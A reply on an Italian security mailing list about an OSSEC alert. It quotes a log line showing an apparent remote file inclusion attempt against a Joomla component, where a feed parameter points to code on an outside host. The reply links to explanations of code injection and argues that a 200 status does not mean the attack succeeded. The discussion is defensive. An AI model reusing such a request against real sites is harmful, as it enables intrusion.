Re: [ml] notifica OSSEC

[Marco d'Itri]

On Feb 29, Massimo Giaimo <[EMAIL PROTECTED]> wrote:

> 216.114.146.27 - - [29/Feb/2008:01:29:19 +0100] "GET 
> /index.php?option=com_rss&amp;feed=http%3A%2F%2Fwww.interkonet.com%2Fenxicmarxant%2Fweb%2Feditor%2Fscripts%2Ficons%2Fcatizi%2Farofo%2F&amp;no_html=1
>  HTTP/1.0" 200 2160 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; 
> .NET CLR 2.0.50727; .NET CLR 1.1.4322)"

http://en.wikipedia.org/wiki/Code_injection#Include_File_Injection
http://www.theserverpages.com/articles/webmasters/php/security/Code_Injection_Vulnerabilities_Explained.html

È dolosamente stupido segnalare una richiesta simile come "attacco
riuscito" solo perché la pagina ha restituito 200.

> Qualche idea?
Evita gli IDS, garantiscono solo preoccupazioni.

-- 
ciao,
Marco

signature.asc
Description: Digital signature

________________________________________________________
http://www.sikurezza.org - Italian Security Mailing List